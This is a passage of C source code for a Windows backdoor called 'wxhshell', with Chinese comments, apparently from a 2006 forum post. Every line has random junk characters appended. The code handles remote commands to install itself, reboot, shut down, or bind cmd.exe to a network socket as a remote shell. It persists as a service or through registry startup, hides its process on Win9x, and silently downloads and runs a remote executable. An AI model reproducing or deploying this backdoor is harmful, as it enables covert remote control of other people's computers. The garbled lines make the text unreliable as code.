  // 帮助 h+Lpj^<2a  
  case '?': { {tOf0W|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Px-VRANZt  
    break; 34CcZEQQ  
  } 7f3,czW  
  // 安装 Y(aUB$"  
  case 'i': { PN99 R]K0g  
    if(Install()) P3!@}!r8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "N'W~XPG  
    else Q "NZE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f.j<VKF}  
    break; A ?tna6W:  
    } *BrGh  
  // 卸载 izcjI.3e,  
  case 'r': { [QMN0#(h  
    if(Uninstall()) @x*xgf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JXRU9`3)A  
    else Y6Y"fb%K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C(h<s e?  
    break; i@D4bd9lR  
    } m<#^c?u  
  // 显示 wxhshell 所在路径 atd;)o0*0  
  case 'p': { ,j{tGj_  
    char svExeFile[MAX_PATH]; EF$ASNh"  
    strcpy(svExeFile,"\n\r"); UsA fZg8  
      strcat(svExeFile,ExeFile); E,ilJl\  
        send(wsh,svExeFile,strlen(svExeFile),0); 5|jY  
    break; a0k;way  
    } ]Hl{(v\H O  
  // 重启 :B=Gb8?  
  case 'b': { ^B%ki  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'y>Y*/  
    if(Boot(REBOOT)) y:Gn58\o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Hdu=+ZV  
    else { bxwwYSS  
    closesocket(wsh); z}==6| {  
    ExitThread(0); aso8,mpZuA  
    } nVoWER:  
    break; %=*|: v  
    } yaG:}=.3  
  // 关机 2[=3-1c  
  case 'd': { "~.4z,ha  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S8kzAT  
    if(Boot(SHUTDOWN)) $"( 15U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0=U|7%dOL  
    else { $8(QBZq  
    closesocket(wsh); a_0I)' ?  
    ExitThread(0); w2s06`g  
    } u^MRKLn  
    break; 0#=xUk#LP`  
    } dg~lz80  
  // 获取shell WC=d @d)M  
  case 's': { Vh;|qF 9  
    CmdShell(wsh); ~uq010lMno  
    closesocket(wsh); `YwJ.E  
    ExitThread(0); yEjiMtQll]  
    break; \p.yR.  
  } rZ n@i  
  // 退出 F_-xp1|  
  case 'x': { 8oI|Z=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /;}%E  
    CloseIt(wsh); J2 )h":2  
    break; ?%~^PHgZ|  
    } S[7^#O.)  
  // 离开 v,*C>u\3s  
  case 'q': { g5pFr=NV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :JX2GRL4  
    closesocket(wsh); .vy@uT,  
    WSACleanup(); d^M*%az  
    exit(1); !x ~s`z  
    break; "P|n'Mx  
        } WvArppANo  
  } 5oCg&aT  
  } cNwH Y Z'  
~@6l7H6{  
  // 提示信息 }[lP^Qs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jDQ?b\^  
} - G/qfd|s/  
  } Fx.Ly]L  
t_!p({  
  return; `C|];mf(#  
} <FU?^*~  
<)!,$]S  
// shell模块句柄 <"K*O9 nst  
int CmdShell(SOCKET sock) z7sDaZL?_  
{ H#V&5|K%  
STARTUPINFO si; >EFWevT{  
ZeroMemory(&si,sizeof(si)); p[xGL } +\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |kvH`&s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N>*+Wg$Ne  
PROCESS_INFORMATION ProcessInfo; U/kQwrM  
char cmdline[]="cmd"; zdU 46|!u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AIn/v`JeX  
  return 0; EZjtZMnj  
} .QKyB>s  
w< Xwz`O  
// 自身启动模式 JttDRNZAU  
int StartFromService(void) [PUu9rz#  
{ lqMr@ :t  
typedef struct 6i+,/vr  
{ (57!{[J  
  DWORD ExitStatus; o<3$|`S&  
  DWORD PebBaseAddress; $Z;/Sh  
  DWORD AffinityMask; ;>5`Y8s6  
  DWORD BasePriority; MIr+4L  
  ULONG UniqueProcessId; M.s'~S7y  
  ULONG InheritedFromUniqueProcessId; 1d FuoX  
}   PROCESS_BASIC_INFORMATION; 8 I_  
,G}i:7  
PROCNTQSIP NtQueryInformationProcess; [(3s5)O  
*@PM,tS;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {]}94T~/k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7mdd}L^h Z  
K.mxF,H  
  HANDLE             hProcess; yj_> G  
  PROCESS_BASIC_INFORMATION pbi; 6*>Lud  
TbNH{w|p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MaHP):~  
  if(NULL == hInst ) return 0; ;9h;oB@  
7pY :.iVO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hPNMp@Nm6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #I453  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w5%i  
Mhti  
  if (!NtQueryInformationProcess) return 0; 300w\9fn&  
VSDua.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2 HQ3G~U  
  if(!hProcess) return 0; LYRpd  
HrsG^x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #L+:MA7H  
37jxl+  
  CloseHandle(hProcess); "#o..?K  
`wtso  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JL1A3G  
if(hProcess==NULL) return 0; JJtx `@Bc  
yTd8)zWq  
HMODULE hMod; L0!CHP/nRS  
char procName[255]; W!? h2[  
unsigned long cbNeeded; S$Zi{bU`G  
\*e\MOp6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BXYH&2]Q  
Wj(#!\ 7F  
  CloseHandle(hProcess); m!%aB{e  
thJ~* 0^  
if(strstr(procName,"services")) return 1; // 以服务启动 6u+aP  
I6f/+;E  
  return 0; // 注册表启动 m]AT-]*f  
} ed q,:  
OQKeU0v  
// 主模块 rT/r"vr  
int StartWxhshell(LPSTR lpCmdLine) f2;.He  
{ _i+@HXR &  
  SOCKET wsl; 8;DDCop 8L  
BOOL val=TRUE; MHK|\Z&e7  
  int port=0; y')OmR2h  
  struct sockaddr_in door; /v+)#[]>  
6j<!W+~G  
  if(wscfg.ws_autoins) Install(); qtZ? kJ  
PT6]qS'1  
port=atoi(lpCmdLine); 1Q>nS[  
|sReHt2)d  
if(port<=0) port=wscfg.ws_port; ;cI*"-I:F  
\4>,L_O  
  WSADATA data; DHWz,M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /!?LBtqy  
ZKrLp8l\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [^5;XD:%&l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @9B*V~ <  
  door.sin_family = AF_INET; \CMZ_%~wU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A<X?1$  
  door.sin_port = htons(port); )?$[iu7 s  
D:_W;b)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c[,h|~K/_?  
closesocket(wsl); $QC1l@[sM  
return 1; ;Y^'$I2fR#  
} '*b]$5*p  
m|aK_  
  if(listen(wsl,2) == INVALID_SOCKET) {  1[SG.  
closesocket(wsl); LWF,w7v[L  
return 1; r\;fyeH  
} !,m  
  Wxhshell(wsl); gQ>kDl^$Ls  
  WSACleanup(); HYfGu1j?X  
 m[B#k$  
return 0; sF{aG6u   
X@\W* nq  
} DpT9"?g7  
C_Ewu*T7  
// 以NT服务方式启动 'k X8}bx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H&)}Z6C"  
{ +P2oQ_Fk`9  
DWORD   status = 0; !5o j~H  
  DWORD   specificError = 0xfffffff; \_ 3>v5k|  
IW0S*mO$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i7Up AHd/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }uZs)UQ|$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y QW7ng7D0  
  serviceStatus.dwWin32ExitCode     = 0; \l~^dn}  
  serviceStatus.dwServiceSpecificExitCode = 0; f82%nT  
  serviceStatus.dwCheckPoint       = 0; [k6I#v<&  
  serviceStatus.dwWaitHint       = 0; SeD}H=,@  
-&5YRfr!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aTuu",f  
  if (hServiceStatusHandle==0) return; -fq  
$^ws#}j  
status = GetLastError(); cq4~(PXT g  
  if (status!=NO_ERROR) W,<q!<z\t  
{ !!y]pMjJa@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 o*i(W  
    serviceStatus.dwCheckPoint       = 0; <+QQiFj  
    serviceStatus.dwWaitHint       = 0; \VNu35* J|  
    serviceStatus.dwWin32ExitCode     = status; 7FG;fJ;&NZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; S(zp_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Bs~E  
    return; C`[<6>&y  
  } 8:,($a/KF  
K92j BR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m4mE7Wn.3  
  serviceStatus.dwCheckPoint       = 0; O[Vet/^)  
  serviceStatus.dwWaitHint       = 0; Muo E~K2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8 "l PiW3  
} (~GQncqa  
h'y%TOob  
// 处理NT服务事件,比如:启动、停止 X-c|jn7  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  w4U,7%V  
{ XQ#K1Z  
switch(fdwControl) D.K""*ula  
{ \MP~}t}c  
case SERVICE_CONTROL_STOP: W [ l  
  serviceStatus.dwWin32ExitCode = 0; .XJ'2yKof  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1<YoGm&  
  serviceStatus.dwCheckPoint   = 0; )+G"57p  
  serviceStatus.dwWaitHint     = 0; vMTf^V  
  { Q(bOar5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {R}F4k  
  } iW5cEI%tb  
  return; q/#e6;x  
case SERVICE_CONTROL_PAUSE: 4q}+8F`0F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @J[@Pu O  
  break; :@((' X(".  
case SERVICE_CONTROL_CONTINUE: gP2zDI   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h  d3  
  break; aM}9ZurI  
case SERVICE_CONTROL_INTERROGATE: +Nt4R:N  
  break; w% %q/![uy  
}; ~g{j)"1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); im<bo Mv  
} v:t;Uk^Y  
%{u@{uG0'3  
// 标准应用程序主函数 nip6|dN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |oY{TQ<<d  
{ $1yO Zp5  
lsz3'!%Y)  
// 获取操作系统版本 VOEV[?>ss  
OsIsNt=GetOsVer(); 4p:d#,?r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bs"D<r&ro  
m2PUU/8B/  
  // 从命令行安装 $*#a;w7\C  
  if(strpbrk(lpCmdLine,"iI")) Install(); %HUex 6!  
aAg Qv*  
  // 下载执行文件 m'rDoly"62  
if(wscfg.ws_downexe) { p='j/=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $}9jv3>)  
  WinExec(wscfg.ws_filenam,SW_HIDE); |[SHpcq>  
} s L^+$Mq6  
]o6 ZZK  
if(!OsIsNt) { vqm|D&HU  
// 如果时win9x,隐藏进程并且设置为注册表启动 1}(22Q;  
HideProc(); TeHJj`rdAU  
StartWxhshell(lpCmdLine); yf&g\ke  
} Qg4D*r\|@  
else qSY\a\.<  
  if(StartFromService()) & l>nzJ5?  
  // 以服务方式启动 {wqT$( (<  
  StartServiceCtrlDispatcher(DispatchTable); bb6x} jR  
else (GJtTp~2C4  
  // 普通方式启动 _Mw3>GNl  
  StartWxhshell(lpCmdLine); OoB|Eh|),  
eZ'8JU]  
return 0; L'+bVP{L  
}
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只看该作者 1 发表于: 2006-10-10
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